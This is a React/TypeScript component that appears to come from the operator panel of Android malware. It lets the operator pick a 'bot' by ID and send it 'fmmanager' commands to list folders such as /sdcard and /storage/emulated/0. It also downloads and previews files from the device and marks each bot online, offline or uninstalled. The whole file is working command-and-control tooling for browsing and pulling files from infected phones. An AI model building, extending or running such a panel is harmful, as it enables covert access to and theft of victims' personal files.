import React, {useEffect, useLayoutEffect, useState} from "react";
import {Button, Divider, Form, Input, Result, Tree} from "antd";
import Spinner from "../../Misc/Spinner";
import {useSearchQuery} from "../../../Hook/useSearchQuery";
import {useTranslation} from "react-i18next";
import sendCommand from "../../../Requests/Commands/sendCommands";
import ExplorerFiles from "./ExplorerFiles";
import {useBotFileSystemQuery} from "../../../Api/Api";
import ExplorerDownloadedFiles from "./ExplorerDownloadedFiles";
import moment from "moment/moment";
import Mdicon from "../../Misc/Mdicon";
import useBreakpoint from "antd/es/grid/hooks/useBreakpoint";
import {BotFileManagerFile} from "../../../Store/BotFileManager/Types";
import FilePreview from "../../Modals/FilePreview/FilePreview";

const {DirectoryTree} = Tree;

const Explorer: React.FC = () => {
    const {t} = useTranslation();
    const query = useSearchQuery();
    const selectedBot: string = query.get("bot_id") as string;
    const [form] = Form.useForm();
    const [downloadingFile, setDownloadingFile] = useState<boolean>(false);

    const [previewFile, setPreviewFile] = useState<BotFileManagerFile>();
    const [showPreview, setShowPreview] = useState<boolean>(false);

    const {data, isLoading, error, isError} = useBotFileSystemQuery({
        botId: selectedBot,
    }, {skip: !selectedBot, pollingInterval: 3000});

    const fs = data?.payload || [];

    const [fsLastUpdate, setFsLastUpdate] = useState<string>("");
    const [treeLoading, setTreeLoading] = useState<boolean>(false);

    useLayoutEffect(() => {
        setFsLastUpdate(fs.updatedAt);

        if (fsLastUpdate !== fs.updatedAt) {
            setTreeLoading(false);
        }
    }, [fs.updatedAt]);

    const lastConnectionDiff = moment().diff(moment(fs.bot?.updated_at)) / 1000;
    const lastConnectionStatus: string = lastConnectionDiff <= 60 ? "online" : (lastConnectionDiff >= 144000 ? "uninstalled" : "offline");

    const sendGetFilesCommand = () => {
        sendCommand({
            command: "fmmanager",
            payload: {
                path: form.getFieldValue("current_file_manager_path"),
                extra: "ls",
            },
            botIds: [selectedBot as string],
        });

        setTreeLoading(true);
    };

    useEffect(() => {
        form.setFieldsValue({
            current_file_manager_path: fs.current_file_manager_path,
        });
    }, [fs.current_file_manager_path]);

    const fsTreeData = fs.files && fs.files
        .filter((item: {isDir: boolean}) => item.isDir)
        .map((item: {name: string, path: string}, id: number) => {
            return {
                title: item.name,
                key: id,
                path: item.path,
            };
        });

    const screens = useBreakpoint();

    // conditional renders here
    if (isError) {
        console.log(error);
        return (
            <Result
                icon={<Mdicon name="android" color="orange" />}
                title={t("BOT_NOT_FOUND")}
                // @ts-ignore
                subTitle={JSON.stringify(error.data?.message)}
            />
        );
    }

    if (isLoading) {
        return (
            <div className="explorer-spin">
                <Result
                    icon={<Spinner variant="circle" size={50} />}
                    className="ant-result-accent"
                    title={t("LOADING_FILES")}
                    subTitle={t("LOADING_FILES_DESCRIPTION")}
                />
            </div>
        );
    } else {
        return (
            <>
                <div className="fm-wrapper">
                    <div className="panel-content">
                        <Form form={form} layout="horizontal">
                            <Form.Item
                                label={t("FILEMANAGER_CURRENT_PATH")}
                                name="current_file_manager_path"
                            >
                                <Input
                                    className="panel-select"
                                    placeholder={t("FILEMANAGER_CURRENT_PATH")}
                                />
                            </Form.Item>
                            <Form.Item>
                                <div className="fm-btns">
                                    <Button
                                        type="primary"
                                        icon={(
                                            <span className="anticon">
                                                <i className="fa-solid fa-folder-tree" />
                                            </span>
                                        )}
                                        onClick={sendGetFilesCommand}
                                        block={screens.xs}
                                    >
                                        {t("FILEMANAGER_CHANGE_DIR")}
                                    </Button>
                                    <Button
                                        type="primary"
                                        icon={(
                                            <span className="anticon">
                                                <i className="fa-solid fa-folder-tree" />
                                            </span>
                                        )}
                                        onClick={() => {
                                            sendCommand({
                                                command: "fmmanager",
                                                payload: {
                                                    path: "/storage/emulated/0",
                                                    extra: "ls",
                                                },
                                                botIds: [selectedBot as string],
                                            });

                                            setTreeLoading(true);
                                        }}
                                        block={screens.xs}
                                    >
                                        {t("FILEMANAGER_LOAD_ROOT")}
                                    </Button>
                                    <Button
                                        type="primary"
                                        icon={<Mdicon name="sd_card" />}
                                        onClick={() => {
                                            sendCommand({
                                                command: "fmmanager",
                                                payload: {
                                                    path: "/sdcard/",
                                                    extra: "ls",
                                                },
                                                botIds: [selectedBot as string],
                                            });

                                            setTreeLoading(true);
                                        }}
                                        block={screens.xs}
                                    >
                                        {t("FILEMANAGER_LOAD_SDCARD")}
                                    </Button>
                                </div>
                            </Form.Item>
                        </Form>

                        <Divider orientation="left">{t("FILESYSTEM")}</Divider>

                        <div className="fm-content">
                            {!screens.xs && (
                                <div className="fm-side">
                                    <div className="fm-content-inner">
                                        <div className="fm-tree-title">
                                            {t("FOLDER")}
                                        </div>
                                        <div className="fm-list">
                                            <div className="fm-tree">
                                                <DirectoryTree
                                                    icon={(
                                                        <span className="anticon">
                                                            <i className="fm-icon fa-solid fa-folder" style={{color: "#eea83d"}}/>
                                                        </span>
                                                    )}
                                                    treeData={fsTreeData}
                                                    onSelect={(item, info) => {
                                                        // @ts-ignore
                                                        const getPath: string = info.node.path;

                                                        sendCommand({
                                                            command: "fmmanager",
                                                            payload: {
                                                                path: getPath,
                                                                extra: "ls",
                                                            },
                                                            botIds: [selectedBot],
                                                        });

                                                        setTreeLoading(true);
                                                    }}
                                                    disabled={treeLoading}
                                                />
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            )}
                            <div className="fm-explorer">
                                <div className="fm-content-inner">
                                    {selectedBot ? (
                                        <div className="fm-content-list2">
                                            <div className="explorer-inner">
                                                <ExplorerFiles
                                                    files={fs.files}
                                                    downloadedFiles={fs.downloadedFiles}
                                                    botId={fs.botId}
                                                    downloading={downloadingFile}
                                                    setDownloading={setDownloadingFile}
                                                    setTreeLoading={setTreeLoading}
                                                    treeLoading={treeLoading}
                                                    setPreviewFile={setPreviewFile}
                                                    setShowPreview={setShowPreview}
                                                />
                                            </div>
                                        </div>
                                    ) : (
                                        <Result
                                            title={t("SELECT_BOT")}
                                            subTitle={t("SELECT_BOT_DESCRIPTION")}
                                            className="ant-result-accent"
                                            icon={(
                                                <span className="anticon">
                                                    <i className="fa-regular fa-folder-open" />
                                                </span>
                                            )}
                                        />
                                    )}
                                </div>
                            </div>
                        </div>
                    </div>

                    {lastConnectionStatus !== "online" && (
                        <div className="fm-overlay">
                            <Result
                                icon={<Mdicon name="wifi_off" color="orange" />}
                                title={t("FM_SELECTED_BOT_OFFLINE")}
                                subTitle={t("FM_SELECTED_BOT_OFFLINE_DESCRIPTION")}
                            />
                        </div>
                    )}

                    {showPreview && (
                        <FilePreview
                            file={previewFile}
                            open={showPreview}
                            close={setShowPreview}
                            title={t("PREVIEW_FILE")}
                        />
                    )}
                </div>

                <ExplorerDownloadedFiles
                    downloadedFiles={fs.downloadedFiles}
                    botId={fs.botId}
                    isLoading={isLoading}
                    setDownloading={setDownloadingFile}
                    setPreviewFile={setPreviewFile}
                    setShowPreview={setShowPreview}
                />
            </>
        );
    }
};

export default Explorer;
